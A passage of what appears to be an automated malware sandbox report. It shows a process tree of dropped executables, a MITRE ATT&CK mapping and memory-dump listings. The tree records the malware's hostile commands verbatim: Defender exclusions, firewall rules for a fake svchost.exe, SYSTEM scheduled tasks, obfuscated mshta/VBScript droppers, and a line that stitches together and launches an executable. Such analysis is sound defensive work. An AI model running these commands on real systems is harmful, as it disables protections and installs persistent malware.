  "C:\Users\Admin\Pictures\Adobe Films\anPJvL5uMlhbEBWATvCZcsvK.exe"
  2⤵
  PID:2296
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2296 -s 240
    3⤵
    - Program crash
    PID:3028
- C:\Users\Admin\Pictures\Adobe Films\IuQfU7H9rK6yoxVIMjeXH5JP.exe
  "C:\Users\Admin\Pictures\Adobe Films\IuQfU7H9rK6yoxVIMjeXH5JP.exe"
  2⤵
  PID:6100
- C:\Users\Admin\Pictures\Adobe Films\UG5ssXiMZvhJA5KkYiQf1ipR.exe
  "C:\Users\Admin\Pictures\Adobe Films\UG5ssXiMZvhJA5KkYiQf1ipR.exe"
  2⤵
  PID:5312
- C:\Users\Admin\Pictures\Adobe Films\G1q_LZi4dshFqke0cWx3po9i.exe
  "C:\Users\Admin\Pictures\Adobe Films\G1q_LZi4dshFqke0cWx3po9i.exe"
  2⤵
  PID:5464
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:5220
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5464 -s 556
    3⤵
    - Program crash
    PID:5468
- C:\Users\Admin\Pictures\Adobe Films\wvYft0BNlQc5EVDozWPbgsSy.exe
  "C:\Users\Admin\Pictures\Adobe Films\wvYft0BNlQc5EVDozWPbgsSy.exe"
  2⤵
  PID:5508
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
    3⤵
    PID:3956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
    3⤵
    PID:5716
- - C:\Windows\System32\netsh.exe
    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
    3⤵
    PID:5752
- - C:\Windows\System32\netsh.exe
    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
    3⤵
    PID:5960
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
    3⤵
    - Creates scheduled task(s)
    PID:2852
- - C:\Windows\System\svchost.exe
    "C:\Windows\System\svchost.exe" formal
    3⤵
    PID:2096
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
      4⤵
      PID:3116
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
      4⤵
      PID:944
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
      4⤵
      PID:2720
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
      4⤵
      PID:1640
- C:\Users\Admin\Pictures\Adobe Films\DxYZX7IoFMGYdpGhHp69u6mf.exe
  "C:\Users\Admin\Pictures\Adobe Films\DxYZX7IoFMGYdpGhHp69u6mf.exe"
  2⤵
  PID:876
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 876 -s 292
    3⤵
    - Program crash
    PID:2144
- C:\Users\Admin\Pictures\Adobe Films\zsg5KxDjtwRjy9n8Q3FkEL37.exe
  "C:\Users\Admin\Pictures\Adobe Films\zsg5KxDjtwRjy9n8Q3FkEL37.exe"
  2⤵
  PID:3240
- C:\Users\Admin\Pictures\Adobe Films\XfUMwt8eLQQvmHZq8iG8tRdk.exe
  "C:\Users\Admin\Pictures\Adobe Films\XfUMwt8eLQQvmHZq8iG8tRdk.exe"
  2⤵
  PID:5256
- C:\Users\Admin\Pictures\Adobe Films\BFwL4ZcRIIxtcgDpMI5Lom_B.exe
  "C:\Users\Admin\Pictures\Adobe Films\BFwL4ZcRIIxtcgDpMI5Lom_B.exe"
  2⤵
  PID:1312
- C:\Users\Admin\Pictures\Adobe Films\kPOKhdxYrogYhRBF6bBZ_Nx3.exe
  "C:\Users\Admin\Pictures\Adobe Films\kPOKhdxYrogYhRBF6bBZ_Nx3.exe"
  2⤵
  PID:1256
- - C:\Users\Admin\Documents\6rpVSkawbEnT7yGPrELjGWpR.exe
    "C:\Users\Admin\Documents\6rpVSkawbEnT7yGPrELjGWpR.exe"
    3⤵
    PID:1096
  - - C:\Users\Admin\Pictures\Adobe Films\9pTCZi27Qb9HZwAUUHxBwKi6.exe
      "C:\Users\Admin\Pictures\Adobe Films\9pTCZi27Qb9HZwAUUHxBwKi6.exe"
      4⤵
      PID:4896
  - - C:\Users\Admin\Pictures\Adobe Films\42vJ2w5gLhiZrXCC2w9VRIbE.exe
      "C:\Users\Admin\Pictures\Adobe Films\42vJ2w5gLhiZrXCC2w9VRIbE.exe"
      4⤵
      PID:3456
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3456 -s 296
        5⤵
        Program crash
        
        PID:3720
  - - C:\Users\Admin\Pictures\Adobe Films\xMK98SHdM9j10XnzrQELjDyz.exe
      "C:\Users\Admin\Pictures\Adobe Films\xMK98SHdM9j10XnzrQELjDyz.exe"
      4⤵
      PID:5588
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5588 -s 296
        5⤵
        Program crash
        
        PID:588
  - - C:\Users\Admin\Pictures\Adobe Films\uzJn3ReiRmVbrzjBD0gFg_f0.exe
      "C:\Users\Admin\Pictures\Adobe Films\uzJn3ReiRmVbrzjBD0gFg_f0.exe"
      4⤵
      PID:4524
  - - C:\Users\Admin\Pictures\Adobe Films\pDBMoKzQr5qlQtMAqxIUxXVi.exe
      "C:\Users\Admin\Pictures\Adobe Films\pDBMoKzQr5qlQtMAqxIUxXVi.exe"
      4⤵
      PID:4904
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4904 -s 1732
        5⤵
        Program crash
        
        PID:3528
  - - C:\Users\Admin\Pictures\Adobe Films\uTFKyr7PzMAarnCiQYIL39Wd.exe
      "C:\Users\Admin\Pictures\Adobe Films\uTFKyr7PzMAarnCiQYIL39Wd.exe"
      4⤵
      PID:5932
  - - C:\Users\Admin\Pictures\Adobe Films\PZljwI8KdkQ046Pf67QixRlE.exe
      "C:\Users\Admin\Pictures\Adobe Films\PZljwI8KdkQ046Pf67QixRlE.exe"
      4⤵
      PID:5948
    - - C:\Users\Admin\Pictures\Adobe Films\PZljwI8KdkQ046Pf67QixRlE.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\PZljwI8KdkQ046Pf67QixRlE.exe" -u
        5⤵
        
        PID:2712
  - - C:\Users\Admin\Pictures\Adobe Films\WHX8LOc5GoNH4VjdsJFZ8Dhd.exe
      "C:\Users\Admin\Pictures\Adobe Films\WHX8LOc5GoNH4VjdsJFZ8Dhd.exe"
      4⤵
      PID:3896
    - - C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        5⤵
        
        PID:4420
  - - C:\Users\Admin\Pictures\Adobe Films\LI2zyYpO8gN_geifPiSvr3UA.exe
      "C:\Users\Admin\Pictures\Adobe Films\LI2zyYpO8gN_geifPiSvr3UA.exe"
      4⤵
      PID:3304
    - - C:\Users\Admin\AppData\Local\Temp\is-E629K.tmp\LI2zyYpO8gN_geifPiSvr3UA.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-E629K.tmp\LI2zyYpO8gN_geifPiSvr3UA.tmp" /SL5="$A030C,506127,422400,C:\Users\Admin\Pictures\Adobe Films\LI2zyYpO8gN_geifPiSvr3UA.exe"
        5⤵
        
        PID:5472
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:3560
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4520
- C:\Users\Admin\Pictures\Adobe Films\OFJMqQZCp5znbDbWMVDfVrsO.exe
  "C:\Users\Admin\Pictures\Adobe Films\OFJMqQZCp5znbDbWMVDfVrsO.exe"
  2⤵
  PID:3136
- - C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
    C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
    3⤵
    PID:668

C:\Users\Admin\AppData\Local\Temp\is-8PDR4.tmp\Tue196397c0f84f8.tmp
"C:\Users\Admin\AppData\Local\Temp\is-8PDR4.tmp\Tue196397c0f84f8.tmp" /SL5="$200C0,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue196397c0f84f8.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2036
- C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue196397c0f84f8.exe
  "C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue196397c0f84f8.exe" /SILENT
  2⤵
  - Executes dropped EXE
  PID:5484
- - C:\Users\Admin\AppData\Local\Temp\is-7S9JK.tmp\Tue196397c0f84f8.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-7S9JK.tmp\Tue196397c0f84f8.tmp" /SL5="$4017A,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue196397c0f84f8.exe" /SILENT
    3⤵
    - Executes dropped EXE
    PID:5736

C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue19cef5687a.exe
Tue19cef5687a.exe
1⤵
- Executes dropped EXE
PID:1456
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 300
  2⤵
  - Program crash
  PID:5680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1276 -ip 1276
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5136

C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue19b4b38a7569a9.exe
Tue19b4b38a7569a9.exe
1⤵
- Executes dropped EXE
PID:5288

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbscrIPt: CLOsE( crEATeObjEcT( "wsCRipt.SheLl" ). RUN ( "C:\Windows\system32\cmd.exe /q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue1932df4dae.exe"" > ~Xy1GPomKV09sC.Exe && stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if """" == """" for %x In ( ""C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue1932df4dae.exe"" ) do taskkill -iM ""%~nXx"" /f " ,0 , TRuE ))
1⤵
PID:5436
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /q /C tYPe "C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue1932df4dae.exe" > ~Xy1GPomKV09sC.Exe &&stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if "" == "" for %x In ("C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue1932df4dae.exe") do taskkill -iM "%~nXx" /f
  2⤵
  PID:5932
- - C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe
    ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ
    3⤵
    PID:2268
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" VbscrIPt: CLOsE( crEATeObjEcT( "wsCRipt.SheLl" ). RUN ( "C:\Windows\system32\cmd.exe /q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe"" > ~Xy1GPomKV09sC.Exe && stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if ""-PyARgXd6fRp1GJRov7bdbpPssZBLJ "" == """" for %x In ( ""C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe"" ) do taskkill -iM ""%~nXx"" /f " ,0 , TRuE ))
      4⤵
      PID:5636
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /q /C tYPe "C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe" > ~Xy1GPomKV09sC.Exe &&stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if "-PyARgXd6fRp1GJRov7bdbpPssZBLJ " == "" for %x In ("C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe") do taskkill -iM "%~nXx" /f
        5⤵
        
        PID:5200
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" vBscrIpt: cLosE (cREatEObjEcT ( "wscript.sHeLl" ).Run ( "cMD.ExE /R ECHO | seT /P = ""MZ"" > F3U_R.J & CoPy /B /Y F3U_R.J+ RqC~~.A + TfSAy.w+ y5ULsw.L6+ AobbVRP.2Y + WvAi.2 BENCc.E & Start msiexec -Y .\bENCc.E " , 0 ,TruE ) )
      4⤵
      PID:5972
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R ECHO | seT /P = "MZ" >F3U_R.J & CoPy /B /Y F3U_R.J+ RqC~~.A + TfSAy.w+y5ULsw.L6+ AobbVRP.2Y + WvAi.2 BENCc.E &Start msiexec -Y .\bENCc.E
        5⤵
        
        PID:5452
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" seT /P = "MZ" 1>F3U_R.J"
        6⤵
        
        PID:5648
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ECHO "
        6⤵
        
        PID:928
      - C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -Y .\bENCc.E
        6⤵
        
        PID:5144
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill -iM "Tue1932df4dae.exe" /f
    3⤵
    - Kills process with taskkill
    PID:5496

C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
1⤵
PID:5560

C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue19d1fc7d2654d7a.exe
C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue19d1fc7d2654d7a.exe
1⤵
PID:5892

C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue193e530416b51740a.exe
C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue193e530416b51740a.exe
1⤵
PID:5912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:4536

C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue19cd42a7c874e44.exe
Tue19cd42a7c874e44.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5088

C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue193129b31e741ef3.exe
Tue193129b31e741ef3.exe
1⤵
- Executes dropped EXE
PID:1284
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1284 -s 2000
  2⤵
  - Program crash
  PID:2096

C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue19d1fc7d2654d7a.exe
Tue19d1fc7d2654d7a.exe
1⤵
- Executes dropped EXE
PID:2032

C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue1968b7ee9058232e8.exe
Tue1968b7ee9058232e8.exe
1⤵
- Executes dropped EXE
PID:4904
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4904 -s 296
  2⤵
  - Program crash
  PID:5936

C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue1932df4dae.exe
Tue1932df4dae.exe
1⤵
- Executes dropped EXE
PID:4524

C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue196397c0f84f8.exe
Tue196397c0f84f8.exe
1⤵
- Executes dropped EXE
PID:4412

C:\Users\Admin\AppData\Local\Temp\7zS8B39FB54\Tue19c9e031f4.exe
Tue19c9e031f4.exe
1⤵
- Executes dropped EXE
PID:3048

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 1456 -ip 1456
1⤵
PID:5472

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1284 -ip 1284
1⤵
PID:5932

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 5384 -ip 5384
1⤵
PID:1208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 4520 -ip 4520
1⤵
PID:2908

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 5464 -ip 5464
1⤵
PID:6004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 5716 -ip 5716
1⤵
PID:5680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 5264 -ip 5264
1⤵
PID:4948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 692 -p 4936 -ip 4936
1⤵
PID:2844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 720 -p 5256 -ip 5256
1⤵
PID:2592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 876 -ip 876
1⤵
PID:3504

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 5124 -ip 5124
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1284

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2296 -ip 2296
1⤵
PID:5836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 4904 -ip 4904
1⤵
PID:5588

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3916 -ip 3916
1⤵
PID:5404

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.22000.100_none_04da31ff4c67c24a\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.22000.100_none_04da31ff4c67c24a\TiWorker.exe -Embedding
1⤵
PID:2908

C:\Users\Admin\AppData\Local\Temp\246C.exe
C:\Users\Admin\AppData\Local\Temp\246C.exe
1⤵
PID:5664
- C:\Users\Admin\AppData\Local\Temp\246C.exe
  C:\Users\Admin\AppData\Local\Temp\246C.exe
  2⤵
  PID:5996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4904 -ip 4904
1⤵
PID:5404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 748 -p 3456 -ip 3456
1⤵
PID:5028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 5588 -ip 5588
1⤵
PID:2740

C:\Users\Admin\AppData\Local\Temp\6F61.exe
C:\Users\Admin\AppData\Local\Temp\6F61.exe
1⤵
PID:5084

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/868-280-0x0000000004FE0000-0x0000000004FE1000-memory.dmp

Filesize
4KB

Download
memory/868-253-0x0000000004ED0000-0x0000000004ED1000-memory.dmp

Filesize
4KB

Download
memory/868-233-0x00000000005A0000-0x00000000005A1000-memory.dmp

Filesize
4KB

Download
memory/1276-178-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1276-171-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/1276-168-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/1276-163-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/1276-166-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/1276-175-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1276-164-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/1276-162-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/1276-165-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/1276-174-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1276-170-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/1276-173-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1456-408-0x00000000033F0000-0x000000000347E000-memory.dmp

Filesize
568KB

Download
memory/1456-265-0x00000000018AC000-0x00000000018FB000-memory.dmp

Filesize
316KB

Download
memory/2032-276-0x00000000056C0000-0x0000000005736000-memory.dmp

Filesize
472KB

Download
memory/2032-258-0x0000000000E20000-0x0000000000E21000-memory.dmp

Filesize
4KB

Download
memory/2032-308-0x0000000005E40000-0x0000000005E41000-memory.dmp

Filesize
4KB

Download
memory/2032-272-0x0000000005710000-0x0000000005711000-memory.dmp

Filesize
4KB

Download
memory/2036-260-0x00000000021A0000-0x00000000021A1000-memory.dmp

Filesize
4KB

Download
memory/2904-262-0x0000000006A02000-0x0000000006A03000-memory.dmp

Filesize
4KB

Download
memory/2904-274-0x0000000007940000-0x0000000007941000-memory.dmp

Filesize
4KB

Download
memory/2904-470-0x000000007EFD0000-0x000000007EFD1000-memory.dmp

Filesize
4KB

Download
memory/2904-407-0x0000000006A05000-0x0000000006A07000-memory.dmp

Filesize
8KB

Download
memory/2904-313-0x0000000007D20000-0x0000000007D21000-memory.dmp

Filesize
4KB

Download
memory/2904-252-0x0000000006A00000-0x0000000006A01000-memory.dmp

Filesize
4KB

Download
memory/2904-221-0x00000000048B0000-0x00000000048B1000-memory.dmp

Filesize
4KB

Download
memory/2904-304-0x0000000007CB0000-0x0000000007CB1000-memory.dmp

Filesize
4KB

Download
memory/2904-214-0x00000000048B0000-0x00000000048B1000-memory.dmp

Filesize
4KB

Download
memory/3048-315-0x00000237F1920000-0x00000237F1A7B000-memory.dmp

Filesize
1.4MB

Download
memory/3048-317-0x00000237F1780000-0x00000237F18E1000-memory.dmp

Filesize
1.4MB

Download
memory/3184-237-0x0000000007800000-0x0000000007801000-memory.dmp

Filesize
4KB

Download
memory/3184-251-0x0000000005100000-0x0000000005101000-memory.dmp

Filesize
4KB

Download
memory/3184-232-0x0000000005070000-0x0000000005071000-memory.dmp

Filesize
4KB

Download
memory/3184-465-0x000000007F630000-0x000000007F631000-memory.dmp

Filesize
4KB

Download
memory/3184-279-0x0000000007F20000-0x0000000007F21000-memory.dmp

Filesize
4KB

Download
memory/3184-411-0x0000000005105000-0x0000000005107000-memory.dmp

Filesize
8KB

Download
memory/3184-289-0x0000000007FC0000-0x0000000007FC1000-memory.dmp

Filesize
4KB

Download
memory/3184-257-0x0000000005102000-0x0000000005103000-memory.dmp

Filesize
4KB

Download
memory/3184-217-0x0000000004F50000-0x0000000004F51000-memory.dmp

Filesize
4KB

Download
memory/3184-211-0x0000000004F50000-0x0000000004F51000-memory.dmp

Filesize
4KB

Download
memory/3184-271-0x0000000007770000-0x0000000007771000-memory.dmp

Filesize
4KB

Download
memory/3916-242-0x000000000304D000-0x0000000003076000-memory.dmp

Filesize
164KB

Download
memory/4008-318-0x00000000062D0000-0x000000000641C000-memory.dmp

Filesize
1.3MB

Download
memory/4412-244-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/4520-490-0x0000000000550000-0x0000000000559000-memory.dmp

Filesize
36KB

Download
memory/4520-484-0x0000000000540000-0x0000000000548000-memory.dmp

Filesize
32KB

Download
memory/4904-230-0x000000000328D000-0x0000000003296000-memory.dmp

Filesize
36KB

Download
memory/4976-167-0x000002AECC570000-0x000002AECC580000-memory.dmp

Filesize
64KB

Download
memory/4976-176-0x000002AECF350000-0x000002AECF354000-memory.dmp

Filesize
16KB

Download
memory/4976-169-0x000002AECCC20000-0x000002AECCC30000-memory.dmp

Filesize
64KB

Download
memory/5088-263-0x0000000000EC0000-0x0000000000EC1000-memory.dmp

Filesize
4KB

Download
memory/5088-287-0x000000001BA40000-0x000000001BA42000-memory.dmp

Filesize
8KB

Download
memory/5192-373-0x00000000056B0000-0x0000000005CC8000-memory.dmp

Filesize
6.1MB

Download
memory/5264-500-0x0000000002110000-0x0000000002124000-memory.dmp

Filesize
80KB

Download
memory/5288-312-0x0000000005010000-0x0000000005011000-memory.dmp

Filesize
4KB

Download
memory/5288-291-0x0000000007410000-0x0000000007411000-memory.dmp

Filesize
4KB

Download
memory/5288-269-0x00000000005A0000-0x00000000005A1000-memory.dmp

Filesize
4KB

Download
memory/5288-288-0x0000000002750000-0x0000000002751000-memory.dmp

Filesize
4KB

Download
memory/5312-456-0x0000000005650000-0x0000000005651000-memory.dmp

Filesize
4KB

Download
memory/5384-431-0x0000000000400000-0x00000000007BB000-memory.dmp

Filesize
3.7MB

Download
memory/5384-423-0x0000000000400000-0x00000000007BB000-memory.dmp

Filesize
3.7MB

Download
memory/5384-459-0x0000000003630000-0x0000000003631000-memory.dmp

Filesize
4KB

Download
memory/5384-451-0x0000000003630000-0x0000000003631000-memory.dmp

Filesize
4KB

Download
memory/5384-400-0x0000000002740000-0x0000000002741000-memory.dmp

Filesize
4KB

Download
memory/5384-444-0x0000000003640000-0x0000000003641000-memory.dmp

Filesize
4KB

Download
memory/5384-480-0x0000000003630000-0x0000000003631000-memory.dmp

Filesize
4KB

Download
memory/5416-310-0x0000000005650000-0x0000000005651000-memory.dmp

Filesize
4KB

Download
memory/5416-290-0x0000000000AF0000-0x0000000000AF1000-memory.dmp

Filesize
4KB

Download
memory/5464-415-0x0000000002920000-0x0000000002921000-memory.dmp

Filesize
4KB

Download
memory/5464-412-0x0000000002930000-0x0000000002931000-memory.dmp

Filesize
4KB

Download
memory/5464-398-0x0000000002940000-0x0000000002941000-memory.dmp

Filesize
4KB

Download
memory/5464-393-0x0000000000B20000-0x0000000000B80000-memory.dmp

Filesize
384KB

Download
memory/5464-439-0x0000000003620000-0x0000000003621000-memory.dmp

Filesize
4KB

Download
memory/5464-401-0x0000000003620000-0x0000000003621000-memory.dmp

Filesize
4KB

Download
memory/5464-402-0x0000000003620000-0x0000000003621000-memory.dmp

Filesize
4KB

Download
memory/5464-403-0x0000000002950000-0x0000000002951000-memory.dmp

Filesize
4KB

Download
memory/5464-404-0x0000000002900000-0x0000000002901000-memory.dmp

Filesize
4KB

Download
memory/5464-406-0x0000000002970000-0x0000000002971000-memory.dmp

Filesize
4KB

Download
memory/5464-436-0x0000000003620000-0x0000000003621000-memory.dmp

Filesize
4KB

Download
memory/5464-434-0x0000000003620000-0x0000000003621000-memory.dmp

Filesize
4KB

Download
memory/5464-442-0x0000000003620000-0x0000000003621000-memory.dmp

Filesize
4KB

Download
memory/5464-420-0x0000000003630000-0x0000000003631000-memory.dmp

Filesize
4KB

Download
memory/5464-426-0x0000000000400000-0x00000000007A9000-memory.dmp

Filesize
3.7MB

Download
memory/5464-418-0x0000000002960000-0x0000000002961000-memory.dmp

Filesize
4KB

Download
memory/5464-416-0x0000000002990000-0x0000000002991000-memory.dmp

Filesize
4KB

Download
memory/5464-428-0x0000000000400000-0x00000000007A9000-memory.dmp

Filesize
3.7MB

Download
memory/5484-286-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/5508-476-0x00007FFCE06F0000-0x00007FFCE06F2000-memory.dmp

Filesize
8KB

Download
memory/5672-506-0x0000000000670000-0x0000000000679000-memory.dmp

Filesize
36KB

Download
memory/5672-496-0x0000000000660000-0x0000000000668000-memory.dmp

Filesize
32KB

Download
